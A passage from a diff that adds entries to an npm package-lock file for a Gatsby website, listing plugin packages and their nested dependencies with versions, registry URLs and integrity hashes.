+                    "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+                    "requires": {
+                        "braces": "^3.0.2",
+                        "picomatch": "^2.3.1"
+                    }
+                },
+                "readdirp": {
+                    "version": "3.6.0",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+                    "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+                    "requires": {
+                        "picomatch": "^2.2.1"
+                    }
+                }
+            }
+        },
+        "gatsby-plugin-disqus": {
+            "version": "1.2.4",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-disqus/-/gatsby-plugin-disqus-1.2.4.tgz",
+            "integrity": "sha512-HoNJdTKKifRIGVMTMt1rbFModWm3UT7Mnae24R0kuR0bj5b1XzJF9pgQ78BSFVP+D7Yndn51+vEr8goDLIBOGg=="
+        },
+        "gatsby-plugin-no-sourcemaps": {
+            "version": "4.17.0",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-no-sourcemaps/-/gatsby-plugin-no-sourcemaps-4.17.0.tgz",
+            "integrity": "sha512-8iUrONeRucm3Bq57mL5q9VFOs4fvKbo4vGMuHosnhbFRHUvdc7uKnwmtwQkU4PmANQ3/ceveZ0qS6G3FZeekig==",
+            "requires": {
+                "@babel/runtime": "^7.15.4"
+            }
+        },
+        "gatsby-plugin-offline": {
+            "version": "5.17.0",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-offline/-/gatsby-plugin-offline-5.17.0.tgz",
+            "integrity": "sha512-4sGpLkjOrv/b6E9FI6TqAX92D47PGbgCubqQTTV7c4zcEIjq9MA86VzNRV/sU8Jys+9Az0kBOIA8e7NEckyvXQ==",
+            "requires": {
+                "@babel/runtime": "^7.15.4",
+                "cheerio": "^1.0.0-rc.10",
+                "gatsby-core-utils": "^3.17.0",
+                "glob": "^7.2.3",
+                "idb-keyval": "^3.2.0",
+                "lodash": "^4.17.21",
+                "workbox-build": "^4.3.1"
+            },
+            "dependencies": {
+                "@sindresorhus/is": {
+                    "version": "4.6.0",
+                    "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz",
+                    "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw=="
+                },
+                "@szmarczak/http-timer": {
+                    "version": "4.0.6",
+                    "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz",
+                    "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==",
+                    "requires": {
+                        "defer-to-connect": "^2.0.0"
+                    }
+                },
+                "cacheable-request": {
+                    "version": "7.0.2",
+                    "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.2.tgz",
+                    "integrity": "sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew==",
+                    "requires": {
+                        "clone-response": "^1.0.2",
+                        "get-stream": "^5.1.0",
+                        "http-cache-semantics": "^4.0.0",
+                        "keyv": "^4.0.0",
+                        "lowercase-keys": "^2.0.0",
+                        "normalize-url": "^6.0.1",
+                        "responselike": "^2.0.0"
+                    }
+                },
+                "decompress-response": {
+                    "version": "6.0.0",
+                    "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
+                    "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
+                    "requires": {
+                        "mimic-response": "^3.1.0"
+                    }
+                },
+                "defer-to-connect": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz",
+                    "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg=="
+                },
+                "fs-extra": {
+                    "version": "10.1.0",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
+                    "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
+                    "requires": {
+                        "graceful-fs": "^4.2.0",
+                        "jsonfile": "^6.0.1",
+                        "universalify": "^2.0.0"
+                    }
+                },
+                "gatsby-core-utils": {
+                    "version": "3.17.0",
+                    "resolved": "https://registry.npmjs.org/gatsby-core-utils/-/gatsby-core-utils-3.17.0.tgz",
+                    "integrity": "sha512-1e0YaqTAEpSSBkpWkY703lu+Bl76ASXUvUcpnNO3CavCYZsRQxAXtMXIKIEvhm1z6zWJmY9HILo6/DjP+PHeyw==",
+                    "requires": {
+                        "@babel/runtime": "^7.15.4",
+                        "ci-info": "2.0.0",
+                        "configstore": "^5.0.1",
+                        "fastq": "^1.13.0",
+                        "file-type": "^16.5.3",
+                        "fs-extra": "^10.1.0",
+                        "got": "^11.8.3",
+                        "import-from": "^4.0.0",
+                        "lmdb": "2.5.2",
+                        "lock": "^1.1.0",
+                        "node-object-hash": "^2.3.10",
+                        "proper-lockfile": "^4.1.2",
+                        "resolve-from": "^5.0.0",
+                        "tmp": "^0.2.1",
+                        "xdg-basedir": "^4.0.0"
+                    }
+                },
+                "got": {
+                    "version": "11.8.5",
+                    "resolved": "https://registry.npmjs.org/got/-/got-11.8.5.tgz",
+                    "integrity": "sha512-o0Je4NvQObAuZPHLFoRSkdG2lTgtcynqymzg2Vupdx6PorhaT5MCbIyXG6d4D94kk8ZG57QeosgdiqfJWhEhlQ==",
+                    "requires": {
+                        "@sindresorhus/is": "^4.0.0",
+                        "@szmarczak/http-timer": "^4.0.5",
+                        "@types/cacheable-request": "^6.0.1",
+                        "@types/responselike": "^1.0.0",
+                        "cacheable-lookup": "^5.0.3",
+                        "cacheable-request": "^7.0.2",
+                        "decompress-response": "^6.0.0",
+                        "http2-wrapper": "^1.0.0-beta.5.2",
+                        "lowercase-keys": "^2.0.0",
+                        "p-cancelable": "^2.0.0",
+                        "responselike": "^2.0.0"
+                    }
+                },
+                "import-from": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/import-from/-/import-from-4.0.0.tgz",
+                    "integrity": "sha512-P9J71vT5nLlDeV8FHs5nNxaLbrpfAV5cF5srvbZfpwpcJoM/xZR3hiv+q+SAnuSmuGbXMWud063iIMx/V/EWZQ=="
+                },
+                "json-buffer": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
+                    "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
+                },
+                "jsonfile": {
+                    "version": "6.1.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+                    "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6",
+                        "universalify": "^2.0.0"
+                    }
+                },
+                "keyv": {
+                    "version": "4.3.2",
+                    "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.3.2.tgz",
+                    "integrity": "sha512-kn8WmodVBe12lmHpA6W8OY7SNh6wVR+Z+wZESF4iF5FCazaVXGWOtnbnvX0tMQ1bO+/TmOD9LziuYMvrIIs0xw==",
+                    "requires": {
+                        "compress-brotli": "^1.3.8",
+                        "json-buffer": "3.0.1"
+                    }
+                },
+                "lodash": {
+                    "version": "4.17.21",
+                    "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+                    "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+                },
+                "lowercase-keys": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
+                    "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="
+                },
+                "mimic-response": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
+                    "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ=="
+                },
+                "p-cancelable": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz",
+                    "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg=="
+                },
+                "resolve-from": {
+                    "version": "5.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+                    "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="
+                },
+                "responselike": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz",
+                    "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==",
+                    "requires": {
+                        "lowercase-keys": "^2.0.0"
+                    }
+                },
+                "universalify": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+                    "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ=="
+                }
+            }
+        },
+        "gatsby-plugin-page-creator": {
+            "version": "2.10.2",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-page-creator/-/gatsby-plugin-page-creator-2.10.2.tgz",
+            "integrity": "sha512-XkHSOgI4ZPA4XgadjGGFSp4eu51G8HXEVKG5gaef1/w0bcktw+aEwgEyb8VtL61NfIH2zXquyvrmwsil89nVCw==",
+            "requires": {
+                "@babel/traverse": "^7.12.5",
+                "@sindresorhus/slugify": "^1.1.0",
+                "chokidar": "^3.5.1",
+                "fs-exists-cached": "^1.0.0",
+                "gatsby-page-utils": "^0.9.1",
+                "gatsby-telemetry": "^1.10.2",
+                "globby": "^11.0.2",
+                "lodash": "^4.17.20"
+            },
+            "dependencies": {
+                "array-union": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+                    "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw=="
+                },
+                "chokidar": {
+                    "version": "3.5.3",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+                    "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+                    "requires": {
+                        "anymatch": "~3.1.2",
+                        "braces": "~3.0.2",
+                        "fsevents": "~2.3.2",
+                        "glob-parent": "~5.1.2",
+                        "is-binary-path": "~2.1.0",
+                        "is-glob": "~4.0.1",
+                        "normalize-path": "~3.0.0",
+                        "readdirp": "~3.6.0"
+                    }
+                },
+                "fsevents": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+                    "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+                    "optional": true
+                },
+                "globby": {
+                    "version": "11.1.0",
+                    "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+                    "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+                    "requires": {
+                        "array-union": "^2.1.0",
+                        "dir-glob": "^3.0.1",
+                        "fast-glob": "^3.2.9",
+                        "ignore": "^5.2.0",
+                        "merge2": "^1.4.1",
+                        "slash": "^3.0.0"
+                    }
+                },
+                "readdirp": {
+                    "version": "3.6.0",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+                    "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+                    "requires": {
+                        "picomatch": "^2.2.1"
+                    }
+                }
+            }
+        },
+        "gatsby-plugin-react-helmet": {
+            "version": "3.3.3",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-react-helmet/-/gatsby-plugin-react-helmet-3.3.3.tgz",
+            "integrity": "sha512-GaNBEZlOUY0kYGMjlh3Cpretn5yBkgQZi+Z2ZpJL7VdxlrgTl7B5lccGZDxteMu5QAgrM/WVkeEOvkKUE6ZxrQ==",
+            "requires": {
+                "@babel/runtime": "^7.10.2"
+            }
+        },
+        "gatsby-plugin-sass": {
+            "version": "2.8.0",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-sass/-/gatsby-plugin-sass-2.8.0.tgz",
+            "integrity": "sha512-lUEM5f4bPr6+m8cgB0uq6YBSbqIUxk8tfIthGmsFVbAulnrGBswMRSynyNSAE5APWmUGqwp9GuATDdsV+B5BVg==",
+            "requires": {
+                "@babel/runtime": "^7.12.5",
+                "sass-loader": "^7.3.1"
+            }
+        },
+        "gatsby-plugin-typescript": {
+            "version": "2.12.1",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-typescript/-/gatsby-plugin-typescript-2.12.1.tgz",
+            "integrity": "sha512-p32qJVDi5Xw1Oo5vLMUXdRBxSDlMrfxTGb7etMAsVfyLRlRhMLb2YsuXJIvN1IfybQ6Z3EbhlH293cpxn5jozg==",
+            "requires": {
+                "@babel/core": "^7.12.3",
+                "@babel/plugin-proposal-nullish-coalescing-operator": "^7.12.1",
+                "@babel/plugin-proposal-numeric-separator": "^7.12.5",
+                "@babel/plugin-proposal-optional-chaining": "^7.12.1",
+                "@babel/preset-typescript": "^7.12.1",
+                "@babel/runtime": "^7.12.5",
+                "babel-plugin-remove-graphql-queries": "^2.16.1"
+            }
+        },
+        "gatsby-plugin-utils": {
+            "version": "0.9.0",
+            "resolved": "https://registry.npmjs.org/gatsby-plugin-utils/-/gatsby-plugin-utils-0.9.0.tgz",
+            "integrity": "sha512-InM8PNHtx1kF87qQOlf4pVeNA8lSIsvSjImvN6dvpUjeQqOMRN1avY0W9Trh6LKTF/keWWj975Gk8Vcr+PYyDA==",
+            "requires": {
+                "joi": "^17.2.1"
+            }
+        },
+        "gatsby-react-router-scroll": {
+            "version": "3.7.0",
+            "resolved": "https://registry.npmjs.org/gatsby-react-router-scroll/-/gatsby-react-router-scroll-3.7.0.tgz",
+            "integrity": "sha512-8sm04EQac7fccJZlllFEo349wAlNEuPVu35juuL0hgMDTyWlk4nPwPH/ACdpn2MgpEmrTSfp2yPxyzaRKVyzeQ==",
+            "requires": {
+                "@babel/runtime": "^7.12.5"
+            }
+        },
+        "gatsby-recipes": {
+            "version": "0.9.3",
+            "resolved": "https://registry.npmjs.org/gatsby-recipes/-/gatsby-recipes-0.9.3.tgz",
+            "integrity": "sha512-ToYeGCica4390QFWsW6+3DM6hhkpKifUEFoKDUdsQGw4rmD8aYndj5oASKIsvPAU0GUbxe8IDsDnP3V5iMtyEQ==",
+            "requires": {
+                "@babel/core": "^7.12.3",
+                "@babel/generator": "^7.12.5",
+                "@babel/helper-plugin-utils": "^7.10.4",
+                "@babel/plugin-proposal-optional-chaining": "^7.12.1",
+                "@babel/plugin-transform-react-jsx": "^7.12.5",
+                "@babel/standalone": "^7.12.6",
+                "@babel/template": "^7.10.4",
+                "@babel/types": "^7.12.6",
+                "@graphql-tools/schema": "^7.0.0",
+                "@graphql-tools/utils": "^7.0.2",
+                "@hapi/hoek": "8.x.x",
+                "@hapi/joi": "^15.1.1",
+                "better-queue": "^3.8.10",
+                "chokidar": "^3.4.2",
+                "contentful-management": "^7.5.1",
+                "cors": "^2.8.5",
+                "debug": "^4.3.1",
+                "detect-port": "^1.3.0",
+                "dotenv": "^8.2.0",
+                "execa": "^4.0.2",
+                "express": "^4.17.1",
+                "express-graphql": "^0.9.0",
+                "fs-extra": "^8.1.0",
+                "gatsby-core-utils": "^1.10.1",
+                "gatsby-telemetry": "^1.10.2",
+                "glob": "^7.1.6",
+                "graphql": "^14.6.0",
+                "graphql-compose": "^6.3.8",
+                "graphql-subscriptions": "^1.1.0",
+                "graphql-type-json": "^0.3.2",
+                "hicat": "^0.8.0",
+                "is-binary-path": "^2.1.0",
+                "is-url": "^1.2.4",
+                "jest-diff": "^25.5.0",
+                "lock": "^1.0.0",
+                "lodash": "^4.17.20",
+                "mitt": "^1.2.0",
+                "mkdirp": "^0.5.1",
+                "node-fetch": "^2.5.0",
+                "pkg-dir": "^4.2.0",
+                "prettier": "^2.0.5",
+                "prop-types": "^15.6.1",
+                "remark-mdx": "^2.0.0-next.4",
+                "remark-mdxjs": "^2.0.0-next.4",
+                "remark-parse": "^6.0.3",
+                "remark-stringify": "^8.1.0",
+                "resolve-from": "^5.0.0",
+                "semver": "^7.3.2",
+                "single-trailing-newline": "^1.0.0",
+                "strip-ansi": "^6.0.0",
+                "style-to-object": "^0.3.0",
+                "unified": "^8.4.2",
+                "unist-util-remove": "^2.0.0",
+                "unist-util-visit": "^2.0.2",
+                "uuid": "3.4.0",
+                "ws": "^7.3.0",
+                "xstate": "^4.9.1",
+                "yoga-layout-prebuilt": "^1.9.6"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "chokidar": {
+                    "version": "3.5.3",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+                    "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+                    "requires": {
+                        "anymatch": "~3.1.2",
+                        "braces": "~3.0.2",
+                        "fsevents": "~2.3.2",
+                        "glob-parent": "~5.1.2",
+                        "is-binary-path": "~2.1.0",
+                        "is-glob": "~4.0.1",
+                        "normalize-path": "~3.0.0",
+                        "readdirp": "~3.6.0"
+                    }
+                },
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "fs-extra": {
+                    "version": "8.1.0",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
+                    "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
+                    "requires": {
+                        "graceful-fs": "^4.2.0",
+                        "jsonfile": "^4.0.0",
+                        "universalify": "^0.1.0"
+                    }
+                },
+                "fsevents": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+                    "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+                    "optional": true
+                },
+                "jsonfile": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+                    "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                },
+                "readdirp": {
+                    "version": "3.6.0",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+                    "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+                    "requires": {
+                        "picomatch": "^2.2.1"
+                    }
+                },
+                "resolve-from": {
+                    "version": "5.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+                    "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                }
+            }
+        },
+        "gatsby-remark-code-buttons": {
+            "version": "2.0.7",
+            "resolved": "https://registry.npmjs.org/gatsby-remark-code-buttons/-/gatsby-remark-code-buttons-2.0.7.tgz",
+            "integrity": "sha512-weh6fX7NS31mQp3SR2U4isMVop1Mnk2/Qf7BneJt0S4dys3WCIZVOuhJN97aoOlu1y63UdZUpdZlBwwMvmqUEQ==",
+            "requires": {
+                "query-string": "6.14.0",
+                "unist-util-visit": "2.0.3"
+            },
+            "dependencies": {
+                "query-string": {
+                    "version": "6.14.0",
+                    "resolved": "https://registry.npmjs.org/query-string/-/query-string-6.14.0.tgz",
+                    "integrity": "sha512-In3o+lUxlgejoVJgwEdYtdxrmlL0cQWJXj0+kkI7RWVo7hg5AhFtybeKlC9Dpgbr8eOC4ydpEh8017WwyfzqVQ==",
+                    "requires": {
+                        "decode-uri-component": "^0.2.0",
+                        "filter-obj": "^1.1.0",
+                        "split-on-first": "^1.0.0",
+                        "strict-uri-encode": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "gatsby-remark-prismjs": {
+            "version": "6.20.0",
+            "resolved": "https://registry.npmjs.org/gatsby-remark-prismjs/-/gatsby-remark-prismjs-6.20.0.tgz",
+            "integrity": "sha512-CIZXWFNUxN7XsSiVYGKzAkHLrE9icz0W7FvOZN9We1lfZmKPcpVVZaMHCFqB4vcjZPIQ3EZMZpGWS/+w7lteNA==",
+            "requires": {
+                "@babel/runtime": "^7.15.4",
+                "parse-numeric-range": "^1.2.0",
+                "unist-util-visit": "^2.0.3"
+            }
+        },
+        "gatsby-remark-prismjs-copy-button": {
+            "version": "0.3.1",
+            "resolved": "https://registry.npmjs.org/gatsby-remark-prismjs-copy-button/-/gatsby-remark-prismjs-copy-button-0.3.1.tgz",
+            "integrity": "sha512-/A3BuZSdmI62+uSitAbgqdoS3QtYX4kiz9DZZgc1qMqpPss07YTmU8dFuVNxnNDP13h9jAMfr3BxP7J60ATZSg=="
+        },
+        "gatsby-source-filesystem": {
+            "version": "2.3.10",
+            "resolved": "https://registry.npmjs.org/gatsby-source-filesystem/-/gatsby-source-filesystem-2.3.10.tgz",
+            "integrity": "sha512-hX58a6eAjkmViq2Esvg9Q2JNN12UScCktvv7ci4u9dgxmQ+1GQCGtwfRm2WmI8EIiH8+ifbXSNxyFDpPr8yTgQ==",
+            "requires": {
+                "@babel/runtime": "^7.10.2",
+                "better-queue": "^3.8.10",
+                "bluebird": "^3.7.2",
+                "chokidar": "3.4.0",
+                "file-type": "^12.4.2",
+                "fs-extra": "^8.1.0",
+                "gatsby-core-utils": "^1.3.4",
+                "got": "^9.6.0",
+                "md5-file": "^3.2.3",
+                "mime": "^2.4.6",
+                "pretty-bytes": "^5.3.0",
+                "progress": "^2.0.3",
+                "read-chunk": "^3.2.0",
+                "valid-url": "^1.0.9",
+                "xstate": "^4.10.0"
+            },
+            "dependencies": {
+                "file-type": {
+                    "version": "12.4.2",
+                    "resolved": "https://registry.npmjs.org/file-type/-/file-type-12.4.2.tgz",
+                    "integrity": "sha512-UssQP5ZgIOKelfsaB5CuGAL+Y+q7EmONuiwF3N5HAH0t27rvrttgi6Ra9k/+DVaY9UF6+ybxu5pOXLUdA8N7Vg=="
+                },
+                "fs-extra": {
+                    "version": "8.1.0",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
+                    "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
+                    "requires": {
+                        "graceful-fs": "^4.2.0",
+                        "jsonfile": "^4.0.0",
+                        "universalify": "^0.1.0"
+                    }
+                },
+                "get-stream": {
+                    "version": "4.1.0",
+                    "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+                    "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+                    "requires": {
+                        "pump": "^3.0.0"
+                    }
+                },
+                "got": {
+                    "version": "9.6.0",
+                    "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
+                    "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
+                    "requires": {
+                        "@sindresorhus/is": "^0.14.0",
+                        "@szmarczak/http-timer": "^1.1.2",
+                        "cacheable-request": "^6.0.0",
+                        "decompress-response": "^3.3.0",
+                        "duplexer3": "^0.1.4",
+                        "get-stream": "^4.1.0",
+                        "lowercase-keys": "^1.0.1",
+                        "mimic-response": "^1.0.1",
+                        "p-cancelable": "^1.0.0",
+                        "to-readable-stream": "^1.0.0",
+                        "url-parse-lax": "^3.0.0"
+                    }
+                },
+                "jsonfile": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+                    "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6"
+                    }
+                },
+                "md5-file": {
+                    "version": "3.2.3",
+                    "resolved": "https://registry.npmjs.org/md5-file/-/md5-file-3.2.3.tgz",
+                    "integrity": "sha512-3Tkp1piAHaworfcCgH0jKbTvj1jWWFgbvh2cXaNCgHwyTCBxxvD1Y04rmfpvdPm1P4oXMOpm6+2H7sr7v9v8Fw==",
+                    "requires": {
+                        "buffer-alloc": "^1.1.0"
+                    }
+                }
+            }
+        },
+        "gatsby-telemetry": {
+            "version": "1.10.2",
+            "resolved": "https://registry.npmjs.org/gatsby-telemetry/-/gatsby-telemetry-1.10.2.tgz",
+            "integrity": "sha512-LwMtRIdcNuI25D+yU7RO+UcmF+3uPz0Zrefa+/rkTmxZuz54bOGSYqmzJJt1L1gRz7Jdl+DmYRqVgmiW/dsr/g==",
+            "requires": {
+                "@babel/code-frame": "^7.10.4",
+                "@babel/runtime": "^7.12.5",
+                "@turist/fetch": "^7.1.7",
+                "@turist/time": "^0.0.1",
+                "async-retry-ng": "^2.0.1",
+                "boxen": "^4.2.0",
+                "configstore": "^5.0.1",
+                "fs-extra": "^8.1.0",
+                "gatsby-core-utils": "^1.10.1",
+                "git-up": "^4.0.2",
+                "is-docker": "^2.1.1",
+                "lodash": "^4.17.20",
+                "node-fetch": "^2.6.1",
+                "uuid": "3.4.0"
+            },
+            "dependencies": {
+                "fs-extra": {
+                    "version": "8.1.0",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
